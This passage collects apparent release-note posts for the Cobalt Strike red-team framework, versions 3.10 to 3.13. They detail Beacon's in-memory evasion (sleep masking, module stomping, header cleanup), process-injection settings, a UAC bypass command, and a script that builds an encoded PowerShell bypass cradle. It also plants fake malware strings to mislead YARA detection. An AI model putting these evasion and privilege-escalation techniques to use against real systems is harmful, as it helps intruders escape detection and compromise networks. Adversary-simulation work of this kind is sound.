This technique, as I’ve implemented, works x86 -> x86 and x64 -> x64. Also, this technique requires that the fake arguments are as long as or longer than the real arguments. And, finally, programs that determine process arguments by reading the process PEB will see your real arguments and not our fake arguments.

Still, this technique is another way to mask your activity when you absolutely need to run a process on target to get something done.

In-memory Obfuscation, Continued

I’ve long thought it would be cool to have a payload that could obfuscate itself in memory. This is a great way to push back on point-in-time analysis that look for static strings. Cobalt Strike 3.12 introduced this for the HTTP/HTTPS and DNS Beacon payload.

Cobalt Strike 3.13 extends this feature to the SMB and TCP Beacons too. Now, these Beacons will obfuscate themselves while they wait for a new connection. They will also obfuscate themselves while they wait to read information from their parent Beacon. In effect, these Beacons will spend a lot of time obfuscated.

To enable this behavior, set stage -> sleep_mask option to true in your Malleable C2 profile. For the cleanest in-memory experience, I recommend setting stage -> cleanup to true, and working primarily with stageless payloads.

Token Magic

The execute-assembly, net, portscan, and powerpick commands now use your current token. This release also updates the make_token command. It now stores your provided credentials within Beacon. Beacon will fall back to CreateProcessWithLogonW, using these credentials, when it does not have privileges to run the new process with your newly created token. This makes make_token largely usable from an unprivileged context.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.13. Licensed users may use the update program to get the latest.

Cobalt Strike 3.12 – Blink and you’ll miss it

Cobalt Strike 3.12 is now available. This release adds an “obfuscate and sleep” in-memory evasion feature, gives operators [some] control over process injection, and introduces hooks to shape how Beacon launches PowerShell.

Obfuscate and Sleep

One method to find adversary presence in an environment is to sweep all running processes for common strings that indicate offense activity. For example, a hunt for the ReflectiveLoader string will find memory-resident Reflective DLLs that don’t change the name of this exported function. Point-in-time analysis of memory is a powerful tool in the defender’s arsenal of capabilities.

To push back, Cobalt Strike 3.12 introduces obfuscate-and-sleep. This feature is exactly what it sounds like: Beacon is (mostly) a single-threaded beaconing agent. It requests tasks, executes those tasks, and it goes to sleep. Beacon spends most of its time sleeping. When obfuscate-and-sleep is enabled, Beacon will obfuscate itself, in memory, before it goes to sleep. When the agent wakes up, it will restore itself to its original state.

To enable obfuscate-and-sleep, set the stage -> sleep_mask option to true in your Malleable C2 profile.

stage {
	set sleep_mask "true";

This feature plays well with Cobalt Strike’s other in-memory evasion/threat emulation features. I recommend the use of Cobalt Strike 3.11’s cleanup option when sleep_mask is enabled.

Re: the SMB Beacon

The obfuscate-and-sleep feature benefits the HTTP, HTTPS, and DNS Beacon. The SMB Beacon doesn’t sleep in the way these agents do. This means the SMB Beacon will not obfuscate itself (it has no opportunity to do so). A future Cobalt Strike update may find a way to sneak this feature into the SMB Beacon too.

Malleable Process Injection

Process Injection is an important offense technique, used heavily throughout Cobalt Strike. This release gives operators control over how Beacon does process injection. This is done via the Malleable C2 process-inject block:

process-inject {
	# do not allocate anything less than this
	set min_alloc "16384";

	# permissions RWX, RX
	set startrwx "true";
	set userwx   "false";

	# fudge the content.
	transform-x86 {
		prepend "\x90\x90\x90";

	transform-x64 {
		# ...

	# we do not want to use this call.
	disable "CreateRemoteThread";

These options shape both the injected content and Beacon’s process injection behavior:

The min_alloc option specifies the minimum amount of memory Beacon will allocate in a remote process. The startrwx and userwx options give control over the initial and final permissions of the memory allocated in a remote process.

The transform-x86 and transform-x64 blocks pad any injected DLLs or shellcode. If you choose to prepend data, make sure it’s valid code for the specific architecture. There’s no check for this.

Finally, the disable verb asks Beacon to avoid certain API calls when doing its standard process injection routine. Right now, you can disable CreateRemoteThread, RtlCreateUserThread, or SetThreadContext.

More Power(Shell) to You!

Cobalt Strike uses PowerShell in a lot of its automation. The powershell command allows operators to execute arbitrary cmdlets. psexec_psh bootstraps a session on a remote target with a PowerShell one-liner. The spawnas command uses PowerShell to run a new session as another user.

While it’s possible to operate without PowerShell, sometimes a few adjustments are all that’s needed to safely use PowerShell in an environment. Cobalt Strike 3.12 introduces options to shape the PowerShell command-line and download cradle used in Beacon’s automation.

These options are in Cobalt Strike 3.12’s Resource Kit. Go to Help -> Arsenal to download it.

Notice: Certificate Change Over

The update infrastructure for Cobalt Strike is due for an HTTPS certificate change-over next week. After this change, the update program built into Cobalt Strike 3.11 and earlier will complain about the certificate change (and not download updates). Cobalt Strike 3.12’s updater is aware of the new certificate.

To continue to get updates, without interruption, download the latest Cobalt Strike package with the updated updater. This action is recommended for all licensed Cobalt Strike users.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.12. Licensed users may use the update program to get the latest.

PowerShell Shellcode Injection on Win 10 (v1803)

Cobalt Strike’s process to inject shellcode, via PowerShell, does not work with the latest Windows 10 update (v1803). While it’s possible to work without this capability, a lot of CS automation uses PowerShell.

I’ve pushed an out-of-band update to Cobalt Strike 3.11 with a fix for this issue.

What happened?

The PowerShell shellcode injection scripts in Cobalt Strike use PowerShell internal methods that map directly to GetProcAddress and GetModuleHandle. The latest PowerShell build (included with the latest Windows 10) includes a second GetProcAddress mapping. This made my ask for GetProcAddress ambiguous. The fix? Refresh the PowerShell scripts to ask for a GetProcAddress binding with a specific signature.

Get the latest…

Use the built-in update program to get the latest. This out-of-band update includes a few other fixes and improvements as well. Check out the release notes for the full list.

Cobalt Strike 3.11 – The snake that eats its tail

Cobalt Strike 3.11 is now available. This release adds to Cobalt Strike’s in-memory threat emulation and evasion capabilities, adds a means to run .NET executable assemblies without touching disk, and implements the Token Duplication UAC bypass attack.

In-Memory Threat Emulation

One of the things that makes Cobalt Strike different is its ability to emulate multiple toolsets with one agent and one platform. Malleable C2 (2014) was the start of this. Malleable C2 focused on wire indicators because that’s what defenders could most easily observe. Today, wire indicators have their place, but defenders are just as likely to rip a DLL from memory to extract indicators and understand what they’re up against.

Cobalt Strike 3.7 introduced Malleable PE to give Beacon indicator flexibility in-memory. Cobalt Strike 3.11 takes this further.

1. Malleable C2 profiles now have the ability to specify the checksum, entry point, exported DLL name, and rich_header of the Beacon DLL.

2. This release also adds a peclone utility to Cobalt Strike’s Linux package. The peclone utility parses a DLL and reports a ready-to-use Malleable C2 stage block. This allows red teams to quickly extract and apply indicators from a malicious executable or DLL to Cobalt Strike’s Beacon.

3. The stomppe option controls whether or not Beacon’s loader stomps the MZ, PE, and e_lfanew values after loading. This option controls a common in-memory evasion tactic. Set this option to false and Beacon becomes a more obvious in-memory target.

4. Of course, flexible indicators have little utility without ground truth to give to the blue team. The Indicators of Compromise report in Cobalt Strike 3.11 now includes more information about the profiles used during the engagement. Each profile is presented as a unique “malware sample” with a summary of PE headers, contacted hosts, an HTTP traffic sample, and interesting strings.

Here’s the IOCs report with the HaveX Malleable C2 profile loaded:

In-Memory Evasions

February 2018’s In-memory Evasion course discusses heuristics to find injected DLLs in memory, explains why these heuristics work, and offers strategies to push back on these defenses. Cobalt Strike 3.11 adds more options to challenge and train defenders that use memory hunting techniques.

Less DLL, Please

One way to avoid detection as a memory injected DLL is to not look like an injected DLL at all (go figure). Cobalt Strike’s existing Malleable PE obfuscate option provides some help here. It masks Beacon’s import table and other fields in Beacon’s DLL. Cobalt Strike 3.11 takes this to the next level. Now, when obfuscate is set to true, Beacon’s Reflective Loader will situate Beacon in its new memory without bringing over any of its DLL headers.

Of course, the above raises a problem. It’s nice that the final Beacon DLL is better disguised. What about the memory that contains Beacon and its self-bootstrapping Reflective Loader? That package still has the MZ, PE, and e_lfanew values.

Set the cleanup option to true. This hint asks Beacon to release the memory associated with its loader. When this operation succeeds, your Beacon will live in-memory without the package that put it there.

Together, obfuscate and cleanup allow Beacon to live in-memory without content that screams memory-injected DLL.

Module Stomping

The above does raise another problem. What about the permissions of that memory? We still have pages with execute permissions that are not tied to a loaded module. These permissions exist in legitimate applications, but these properties are a warm flame that attracts the hunters from their cyber blinds.

Cobalt Strike 3.11 also adds module stomping to Beacon’s Reflective Loader. When enabled, Beacon’s loader will shun VirtualAlloc and instead load a DLL into the current process and overwrite its memory.

Set module_x86 to a favorite x86 DLL to module stomp with the x86 Beacon. The module_x64 option enables this for the x64 Beacon.

While this is a powerful feature, caveats apply! If the library you load is not large enough to host Beacon, you will crash Beacon’s process. If the current process loads the same library later (for whatever reason), you will crash Beacon’s process. Choose carefully.

In-memory .NET Assembly Execution

In Modern Defenses and YOU!, I advised that operators who depend on PowerShell should brush up on working without it. I also advised that payload developers, myself included, would do well to embrace the use of .NET assemblies in their platforms.

Cobalt Strike 3.11’s execute-assembly command makes good on this. This command accepts a path to a local executable assembly and runs it on the target in a temporary process. This temporary process benefits from all of your session prepping steps (e.g., ppid, spawnto, etc.). You may pass arbitrary arguments, quoted or not, to this program as if you ran it from a command shell. Scripters may build on execute-assembly with &bexecute_assembly.

This video demonstrates the Internal Monologue attack with help from execute-assembly:

Token Duplication UAC Bypass

But wait, there’s more! Cobalt Strike 3.11 adds a module that implements the Token Duplication UAC Bypass discovered by James Forshaw and originally weaponized by Ruben Boonen.

This UAC loophole allows a non-elevated process to use a token, stolen from an elevated process, to launch an elevated process of the attacker’s choosing. This loophole requires the attacker to remove several rights assigned to the elevated token. The abilities of your new session will reflect these restricted rights (e.g., you can’t interact with processes outside of your current desktop session).

This attack can bypass Always Notify. This requires that an elevated process is already running in the current desktop (as the same user). This attack also works on Windows 7 and later.

Use elevate uac-token-duplication [listener] to bypass UAC and get a session. This module does run a PowerShell one-liner to run a payload stager. Optionally, use runasadmin [command] [arguments] to bypass UAC and run an arbitrary command in an elevated context. The runasadmin command does not use PowerShell.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.11. Licensed users may use the update program to get the latest.

Beware of Slow Downloads

I often receive emails that ask about slow file downloads with the Beacon payload. Here are the symptoms:

  • It takes multiple hours to grab a few megabytes
  • The sleep time makes no difference
  • File uploads are fast and not affected by this “slowness”

When I get these emails, I usually ask the user about their Malleable C2 profile. Malleable C2 is a technology to change the network and memory indicators for Cobalt Strike’s Beacon payload. In some cases, it can alter the tool’s behavior too.

I sometimes get a reply that the operator is using a custom profile derived from one of the Malleable C2 profiles on my Github repository. Inevitably, I’ll learn that the base profile is a profile that uses HTTP GET requests to download tasks from AND send data back to Cobalt Strike’s team server.

Cobalt Strike’s Beacon payload downloads tasks from its team server via an HTTP GET (or POST) request. The payload limits itself to 1MB of encrypted data per request. This is enough to download most task packages in one request.

By default, Cobalt Strike’s Beacon payload sends data back to Cobalt Strike’s team server with an HTTP POST request. In this default, the Beacon payload embeds its encrypted data into the body of the POST request. Here, the limit is again, 1MB. If you’re downloading a file, Beacon will deliver it in 512KB pieces. This 1MB limit is enough to send a 512KB file piece and some output in one HTTP POST request.

The default is what most Cobalt Strike users are used to and it’s the behavior most Cobalt Strike users expect when they use the HTTP and HTTPS Beacon payloads.

Cobalt Strike 3.6 extended Malleable C2 to allow operators to change where, in the HTTP request, Beacon embeds data it sends back to the team server. The default is still to embed data into the body of an HTTP POST request. But, you also have the flexibility to embed Beacon’s data into the URI, an HTTP header, or a URI parameter. You can also change the HTTP verb associated with this request too. This is amazing flexibility to put into an operator’s hands.

The above flexibility has consequences though. I can stick 1MB of data into the body of an HTTP POST request, no problem. I can’t stick 1MB of data into a URI, an HTTP header, or a URI parameter. That won’t work. What does Cobalt Strike’s Beacon do in these situations? Beacon chunks its output.

The chunker will divide any data, destined for the team server, into ~100 byte chunks. Each piece is sent back to the team server in its own HTTP request. This is where the behavior change comes.

I can send a 512KB file piece in the body of one HTTP POST request. That same file piece requires over 5,240 HTTP requests when divided into 100 byte chunks. Beacon does not make these HTTP requests in parallel. Rather, it makes one request, and waits for the response. It then makes the second request and waits for its response. This happens until all needed HTTP requests are made. The latency associated with each request is the thing that affects your download speed.

If you’ve seen this behavior in your use of Cobalt Strike, I hope this blog post helps clarify why you’re seeing it.

Cobalt Strike 3.10 – Хакер vs. 肉雞

Cobalt Strike 3.10 is now available. This release adds Unicode support to the Beacon payload, introduces a built-in report based on MITRE’s ATT&CK matrix, and performs endodontics on the Beacon payload.

A Strategy for Unicode

One of Cobalt Strike’s limitations is its ham-fisted handling of text. Cobalt Strike treats everything sent to and received from Beacon as binary data. This creates headaches for Cobalt Strike users that come across non-ASCII characters in usernames, passwords, file names and other data.

Cobalt Strike 3.10 addresses this problem. Beacon now encodes text input and decodes text output with a character encoding appropriate to the target and situation.

The end result is on systems with a Chinese locale, Cobalt Strike will display Chinese output and accept Chinese input. On systems with a Japanese locale, Cobalt Strike will display Japanese output and accept Japanese input. The same goes for other languages.

Be aware that your font may not have definitions for the characters in your target’s language. If you see boxes where you expect characters, try changing your fonts:

Go to Cobalt Strike -> Preferences -> Cobalt Strike to edit the GUI Font value. This will change the font Cobalt Strike uses throughout its GUI, dialogs, and tables. This option is new in 3.10.

Cobalt Strike -> Preferences -> Console and Graph change the fonts used by Cobalt Strike’s console tabs and pivot graph.

Integration with MITRE’s ATT&CK Matrix

Cobalt Strike 3.10 integrates The MITRE Corporation’s ATT&CK Matrix into its reporting engine. ATT&CK is a project to describe adversary post-exploitation behaviors with their detection and mitigation strategies. Each behavior is assigned a Tactic ID.

Cobalt Strike 3.10 associates Beacon actions with one or more ATT&CK tactics. Scripts have the option to do this with the &btask function too.

Cobalt Strike uses this information to generate a Tactics, Techniques, and Procedures report. This report presents your Cobalt Strike activity on a tactic-by-tactic basis. Each tactic includes a description, mitigation, and detection narrative.

A Root Canal for the Beacon Payload

This release took many steps to remove functionality from the Beacon payload and restore that functionality with changes in the Beacon controller.

One such change removed the logic to spawn cmd.exe and powershell.exe from inside the Beacon payload. In their place is a more generic primitive to run programs and send output to Cobalt Strike. The updated shell and powershell commands use this primitive instead. The &beacon_execute_job function builds on this primitive too. Here’s a script that re-implements Beacon’s powershell command:

alias powershell {
    local('$args $cradle $runme $cmd');
    # $0 is the entire command with no parsing.
    $args   = substr($0, 11);
    # generate the download cradle (if one exists) for an imported PowerShell script
    $cradle = beacon_host_imported_script($1);
    # encode our download cradle AND cmdlet+args we want to run
    $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
    # Build up our entire command line.
    $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
    # task Beacon to run all of this.
    btask($1, "Tasked beacon to run: $args", "T1086");
    beacon_execute_job($1, "powershell", $cmd, 1);

These changes remove a few unique strings from the Beacon payload. This is where the root canal analogy comes in. A root canal not only removes (signs of) infection, it replaces the infection with something benign. That’s here too!

Cobalt Strike 3.10 extends Malleable PE with options to add ASCIIZ and wide character strings to the Beacon payload. This example adds several havex specific strings to Beacon’s havex Malleable C2 profile:

stage {
    # strings gathered from Yara rules and sandbox string dumps
    stringw "%s <%s> (Type=%i, Access=%i, ID='%s')";
    stringw "%02i was terminated by ThreadManager(2)\n";
    stringw "main sort initialise ...\n";
    stringw "qsort [0x%x, 0x%x] done %d this %d\n";
    stringw "{0x%08x, 0x%08x}";
    stringw "Programm was started at %02i:%02i:%02i\n";
    stringw "a+";
    stringw "%02i:%02i:%02i.%04i:";
    stringw "**************************************************************************\n";

These changes recognize the fact that some analysts use tools driven by YARA rules to detect and identify payloads in an environment. These rules often target unique strings observed by the rule’s creator. Knowing these strings, red teams have an opportunity to deliver more interesting adversary simulations and exercise another aspect of their blue team’s detection and response capability.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.10. Licensed users may use the update program to get the latest.

NOTE: An in-place update of Cobalt Strike with live sessions is never recommended. With Cobalt Strike 3.10, this is especially true. Cobalt Strike 3.10 cannot control sessions from previous versions of Cobalt Strike.